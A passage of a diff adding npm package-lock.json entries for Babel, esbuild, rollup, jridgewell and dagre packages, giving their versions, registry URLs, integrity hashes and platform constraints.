"sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helpers": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.7.tgz", + "integrity": "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz", + "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.29.7.tgz", + "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz", + "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz", + "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.29.7.tgz", + "integrity": "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz", + "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz", + "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz", + "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz", + "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.7.tgz", + "integrity": "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.7" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.29.7.tgz", + "integrity": "sha512-TL0hMc9xzy86VD31nUiwzd5otRAcyEPcsegCxolO0PvcXuH1v0kECe/UIznYFihpkvU5wg/jk4v0TTEFfm53fw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.29.7.tgz", + "integrity": "sha512-06IyK09H3wi4cGbhDBwp5gUGo0IKtnYa8tyTiephirPCK6fbobVGiXMMI5zLQ4aKEYP3wZ3ArU44o+8KMrSG/Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/template": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz", + "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.7.tgz", + "integrity": "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-globals": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.7.tgz", + "integrity": "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@dagrejs/dagre": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@dagrejs/dagre/-/dagre-2.0.4.tgz", + "integrity": "sha512-J6vCWTNpicHF4zFlZG1cS5DkGzMr9941gddYkakjrg3ZNev4bbqEgLHFTWiFrcJm7UCRu7olO3K6IRDd9gSGhA==", + "license": "MIT", + "dependencies": { + "@dagrejs/graphlib": "3.0.4" + } + }, + "node_modules/@dagrejs/graphlib": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@dagrejs/graphlib/-/graphlib-3.0.4.tgz", + "integrity": "sha512-HxZ7fCvAwTLCWCO0WjDkzAFQze8LdC6iOpKbetDKHIuDfIgMlIzYzqZ4nxwLlclQX+3ZVeZ1K2OuaOE2WWcyOg==", + "license": "MIT" + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.0-rc.3", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.3.tgz", + "integrity": "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.62.2.tgz", + "integrity": "sha512-6o7ZLZK+BeenkZCFNDXqpbjw9bD6nuWonvS/lwQJp7NoVVxm6p3qE7qQ5jGuBjiFsgvqjD8mZAU5oWxTmbOeOg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.62.2.tgz", + "integrity": "sha512-BaH7BllCACHoH1LguOU56UItGfUWjujlO65kS9LAodViaN4bwIKd7oeW/ZHJ/4ljr/7MIiENnNy3HJ0zXv8Zkw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.62.2.tgz", + "integrity": "sha512-v39RCCvj4He82I9sFmk+M1VZ0PLM9sfsLVikjfx2hYBNALhrrOR2D3JjQA6AhlaSOgcR+RzrKY7e1+bT6SUO/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.62.2.tgz", + "integrity": "sha512-yl0y2vq3S3lHeuXhEdss6TWfKW8vkujImO12tn4ZkG/4oghr09LvdYm2RElVjokTQiUvDUGXLGsYeLqUMCKpGA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.62.2.tgz", + "integrity": "sha512-tT4pvt4qXD+vEoezupCWi+a1F0vvDiksiHc+PxRlYTOH1I6/X4id9jPxTP+Fg+545euaFT1jJVs4CEdHZAU1vw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.62.2.tgz", + "integrity": "sha512-6nU5F2wCW+qvCBhTn1pdIU3bzsIoF7EUwsCDRxilWGprQR6yd508YnH9+OKFCwpfS8pjZqDUmnCAr7exax0XCg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.62.2.tgz", + "integrity": "sha512-n1GJHPOvpIfhi3TmrCeh6S6URt9BFCt0KQE3qvexyGCTAKpR4Lg+eWvNZEqu7epxwus/8ElT3hacYEucm49SZg==", + "cpu": [ + "arm" + ], + "dev": true, + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.62.2.tgz", + "integrity": 